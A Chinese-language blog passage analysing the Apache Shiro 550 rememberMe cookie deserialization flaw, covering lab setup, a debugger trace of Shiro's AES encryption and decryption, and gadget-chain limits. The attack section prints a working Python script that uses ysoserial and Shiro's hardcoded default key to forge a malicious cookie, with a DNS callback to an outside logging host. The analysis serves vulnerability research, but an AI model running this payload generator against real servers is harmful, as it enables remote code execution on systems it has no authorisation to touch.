1. 程式人生 > >Java安全之Shiro 550反序列化漏洞分析

Java安全之Shiro 550反序列化漏洞分析

# Java安全之Shiro 550反序列化漏洞分析 首發自安全客:[Java安全之Shiro 550反序列化漏洞分析](https://www.anquanke.com/post/id/225442#h2-7) ## 0x00 前言 在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,瞭解漏洞產生過程以及利用方式。 ## 0x01 漏洞原理 Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生原因是因為shiro接受了Cookie裡面`rememberMe`的值,然後去進行Base64解密後,再使用aes金鑰解密後的資料,進行反序列化。 反過來思考一下,如果我們構造該值為一個cc鏈序列化後的值進行該金鑰aes加密後進行base64加密,那麼這時候就會去進行反序列化我們的payload內容,這時候就可以達到一個命令執行的效果。 ``` 獲取rememberMe值 -> Base64解密 -> AES解密 -> 呼叫readobject反序列化操作 ``` ## 0x02 漏洞環境搭建 漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 開啟shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl元件進來,後面再去說為什麼shiro自帶了`commons-collections:3.2.1`還要去手工配置一個`commons-collections:4.0`。 ```xml 1.6 1.6 ... javax.servlet
jstl 1.2 runtime
org.apache.commons commons-collections4 4.0 ``` ### 坑點 Shiro的編譯太痛苦了,各種坑,下面來排一下坑。 配置`maven\conf\toolchains.xml`,這裡需要指定JDK1.6的路徑和版本,編譯必須要1.6版本,但不影響在其他版本下執行。 ```xml jdk
1.6 sun D:\JAVA_JDK\jdk1.6
``` 這些都完成後進行編譯。 ```java Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure ``` 這裡還是報錯了。 後面編譯的時候,切換成了maven3.1.1的版本。然後就可以編譯成功了。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110423907-1937832134.png) 但是後面又發現部署的時候訪問不到,編譯肯定又出了問題。 後面把這兩個裡面的``標籤給註釋掉,然後就可以了。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110434440-1647790920.png) 把pom.xml配置貼一下。 ```xml
1.6 1.6 org.apache.shiro.samples shiro-samples 1.2.4 ../pom.xml 4.0.0 samples-web Apache Shiro :: Samples :: Web war maven-surefire-plugin never org.mortbay.jetty maven-jetty-plugin ${jetty.version} / 9080 60000 ./target/yyyy_mm_dd.request.log 90 true false GMT javax.servlet jstl runtime javax.servlet servlet-api org.slf4j slf4j-log4j12 runtime log4j log4j runtime net.sourceforge.htmlunit htmlunit 2.6 org.apache.shiro shiro-core org.apache.shiro shiro-web org.mortbay.jetty jetty ${jetty.version} test org.mortbay.jetty jsp-2.1-jetty ${jetty.version} test org.slf4j jcl-over-slf4j runtime javax.servlet jstl 1.2 runtime org.apache.commons commons-collections4 4.0 ``` 經過2天的排坑,終於把這個坑給解決掉,這裡必須貼幾張照片慶祝慶祝。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110448906-841642180.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110457490-1181337778.png) 輸入賬號密碼,勾選Remerber me選項。進行抓包 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110514432-463614623.png) 下面就可以來分析該漏洞了。 ## 0x03 漏洞分析 ### 加密 漏洞產生點在`CookieRememberMeManager`該位置,來看到`rememberSerializedIdentity`方法。 該方法的作用為使用Base64對指定的序列化位元組陣列進行編碼,並將Base64編碼的字串設定為cookie值。 那麼我們就去檢視一下該方法在什麼地方被呼叫。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110526013-837985793.png) 在這可以看到該類繼承的`AbstractRememberMeManager`類呼叫了該方法。跟進進去檢視 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110534584-1788639343.png) 發現這個方法被`rememberIdentity`方法給呼叫了,同樣方式繼續跟進。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110542695-1948520394.png) 在這裡會發現`rememberIdentity`方法會被`onSuccessfulLogin`方法給呼叫,跟蹤到這一步,就看到了`onSuccessfulLogin`登入成功的方法。 當登入成功後會呼叫`AbstractRememberMeManager.onSuccessfulLogin`方法,該方法主要實現了生成加密的`RememberMe Cookie`,然後將`RememberMe Cookie`設定為使用者的Cookie值。在前面我們分析的`rememberSerializedIdentity`方法裡面去實現了。可以來看一下這段程式碼。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110552190-499178791.png) 回到`onSuccessfulLogin`這個地方,打個斷點,然後web登入頁面輸入root/secret 口令進行提交,再回到IDEA中檢視。找到登入成功方法後,我們可以來正向去做個分析,不然剛剛的方式比較麻煩。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110602006-1866085477.png) 這裡看到呼叫了`isRememberMe`很顯而易見得發現這個就是一個判斷使用者是否選擇了`Remember Me`選項。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110611384-876862229.png) 如果選擇`Remember Me`功能的話返回true,如果不選擇該選項則是呼叫log.debug方法在控制檯輸出一段字元。 這裡如果為true的話就會呼叫`rememberIdentity`方法並且傳入三個引數。F7跟進該方法。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110621194-443574800.png) 前面說過該方法會去生成一個`PrincipalCollection`物件,裡面包含登入資訊。F7進行跟進`rememberIdentity`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110633827-1058311184.png) 檢視`convertPrincipalsToBytes`具體的實現與作用。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110645053-1262645072.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110652710-275600950.png) 跟進該方法檢視具體實現。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110701025-255131003.png) 看到這裡其實已經很清晰了,進行了一個序列化,然後返回序列化後的Byte陣列。 再來看到下一段程式碼,這裡如果`getCipherService`方法不為空的話,就會去執行下一段程式碼。`getCipherService`方法是獲取加密模式。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110709395-1842839306.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110717926-217858186.png) 還是繼續跟進檢視。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110726800-1330567957.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110734434-1308875681.png) 檢視呼叫,會發現在構造方法裡面對該值進行定義。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110747910-2144148985.png) 完成這一步後,就來到了這裡。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110757443-26703044.png) 呼叫`encrypt`方法,對序列化後的資料進行處理。繼續跟進。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110806194-711411513.png) 這裡呼叫`cipherService.encrypt`方法並且傳入序列化資料,和`getEncryptionCipherKey`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110818048-762686000.png) `getEncryptionCipherKey`從名字上來看是獲取金鑰的方法,檢視一下,是怎麼獲取金鑰的。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110829713-264153809.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110838406-1947658720.png) 檢視呼叫的時候,發現`setCipherKey`方法在構造方法裡面被呼叫了。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110850230-557920553.png) 檢視`DEFAULT_CIPHER_KEY_BYTES`值會發現裡面定義了一串金鑰 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110858746-1541339757.png) 而這個金鑰是定義死的。 返回剛剛的加密的地方。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110946657-613368525.png) 這個地方選擇跟進,檢視具體實現。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110955752-1127922152.png) 檢視到這裡發現會傳入前面序列化的陣列和key值,最後再去呼叫他的過載方法並且傳入序列化陣列、key、ivBytes值、generate。 iv的值由`generateInitializationVector`方法生成,進行跟進。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111005351-1185175397.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111018475-1226186140.png) 檢視`getDefaultSecureRandom`方法實現。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111041760-640483587.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111105390-1194589664.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111114029-453905436.png) 返回`generateInitializationVector`方法繼續檢視。這個new了一個byte陣列長度為16 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111127305-1204062441.png) 最後得到這個ivBytes值進行返回。 這裡執行完成後就拿到了ivBytes的值了,這裡再回到加密方法的地方檢視具體加密的實現。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111139682-774026798.png) 這裡呼叫crypt方法進行獲取到加密後的資料,而這個output是一個byte陣列,大小是加密後資料的長度加上iv這個值的長度。 #### iv 的小tips - 某些加密演算法要求明文需要按一定長度對齊,叫做塊大小(BlockSize),我們這次就是16位元組,那麼對於一段任意的資料,加密前需要對最後一個塊填充到16 位元組,解密後需要刪除掉填充的資料。 - AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding) - PKCS7Padding跟PKCS5Padding的區別就在於資料填充方式,PKCS7Padding是缺幾個位元組就補幾個位元組的0,而PKCS5Padding是缺幾個位元組就補充幾個位元組的幾,好比缺6個位元組,就補充6個位元組 不瞭解加密演算法的可以看[Java安全之安全加密演算法](https://www.cnblogs.com/nice0e3/p/13894507.html) 在執行完成後序列化的資料已經被進行了AES加密,返回一個byte陣列。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111156128-495305716.png) 執行完成後,來到這一步,然後進行跟進。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111204872-1453282672.png) 到了這裡其實就沒啥好說的了。後面的步驟就是進行base64加密後設置為使用者的Cookie的rememberMe欄位中。 ### 解密 由於我們並不知道哪個方法裡面去實現這麼一個功能。但是我們前面分析加密的時候,呼叫了`AbstractRememberMeManager.encrypt`進行加密,該類中也有對應的解密操作。那麼在這裡就可以來檢視該方法具體會在哪裡被呼叫到,就可以追溯到上層去,然後進行下斷點。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111216069-1078957245.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111225478-1030579328.png) 檢視 `getRememberedPrincipals`方法在此處下斷點 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111234075-2082404174.png) 跟蹤 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111244076-699055404.png) 返回`getRememberedPrincipals`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111258591-2077504686.png) 在下面呼叫了`convertBytesToPrincipals`方法,進行跟蹤。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111310167-1213330733.png) 檢視`decrypt`方法具體實現。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111319564-1703101521.png) 和前面的加密步驟類似,這裡不做詳細講解。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111331030-650818996.png) 生成iv值,然後傳入到他的過載方法裡面。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111340096-2094051273.png) 到了這裡執行完後,就進行了AES的解密完成。 還是回到這一步。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111349324-614640188.png) 這裡返回了`deserialize`方法的返回值,並且傳入AES加密後的資料。 進行跟蹤該方法。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111359845-1527531047.png) 繼續跟蹤。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111410776-2081236822.png) 到了這步,就會對我們傳入進來的AES解密後的資料進行呼叫`readObject`方法進行反序列化操作。 ## 0x04 漏洞攻擊 ### 漏洞探測 現在已經知道了是因為獲取rememberMe值,然後進行解密後再進行反序列化操作。 那麼在這裡如果拿到了金鑰就可以偽造加密流程。 網上找的一個加密的指令碼 ```python # -*-* coding:utf-8 # @Time : 2020/10/16 17:36 # @Author : nice0e3 # @FileName: poc.py # @Software: PyCharm # @Blog :https://www.cnblogs.com/nice0e3/ import base64 import uuid import subprocess from Crypto.Cipher import AES def rememberme(command): # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE) # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': # payload = encode_rememberme('127.0.0.1:12345') # payload = rememberme('calc.exe') payload = rememberme('http://u89cy6.dnslog.cn') with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode())) res = "rememberMe={}".format(payload.decode()) fpw.write(res) ``` 獲取到值後加密後的payload後可以在burp上面進行手工傳送測試一下。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111427639-1670213224.png) 傳送完成後,就可以看到DNSLOG平臺上面回顯了。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111436281-1277257083.png) 當使用URLDNS鏈的打過去,在DNSLOG平臺有回顯的時候,就說明這個地方存在反序列化漏洞。 但是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。 ### 漏洞利用 前面我們手動給shio配上cc4的元件,而shiro中自帶的是cc3.2.1版本的元件,為什麼要手工去配置呢? 其實shiro中重寫了`ObjectInputStream`類的`resolveClass`函式,`ObjectInputStream`的`resolveClass`方法用的是`Class.forName`類獲取當前描述器所指代的類的Class物件。而重寫後的`resolveClass`方法,採用的是`ClassUtils.forName`。檢視該方法 ```java public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..."); } clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..."); } clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } else { return clazz; } } ``` 在傳參的地方如果傳入一個`Transform`陣列的引數,會報錯。 後者並不支援傳入陣列型別。 resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支援裝載陣列型別的class 那麼在這裡可以使用cc2和cc4的利用鏈去進行命令執行,因為這兩個都是基於javassist去實現的,而不是基於`Transform`陣列。具體的可以看前面我的分析利用鏈文章。 除了這兩個其實在部署的時候,可以發現元件當中自帶了一個CommonsBeanutils的元件,這個元件也是有利用鏈的。可以使用CommonsBeanutils這條利用鏈進行命令執行。 那麼除了這些方式就沒有了嘛?假設沒有cc4的元件,就一定執行不了命令了嘛?其實方式還是有的。wh1t3p1g師傅在[文章](https://www.anquanke.com/post/id/192619)中已經給出瞭解決方案。需要重新去特殊構造一下利用鏈。 ### 參考文章 ``` https://www.anquanke.com/post/id/192619#h2-4 https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A ``` ## 0x05 結尾 在該漏洞中我覺得主要的難點在於環境搭建上費了不少時間,還有的就是關於shiro中大部分利用鏈沒法使用的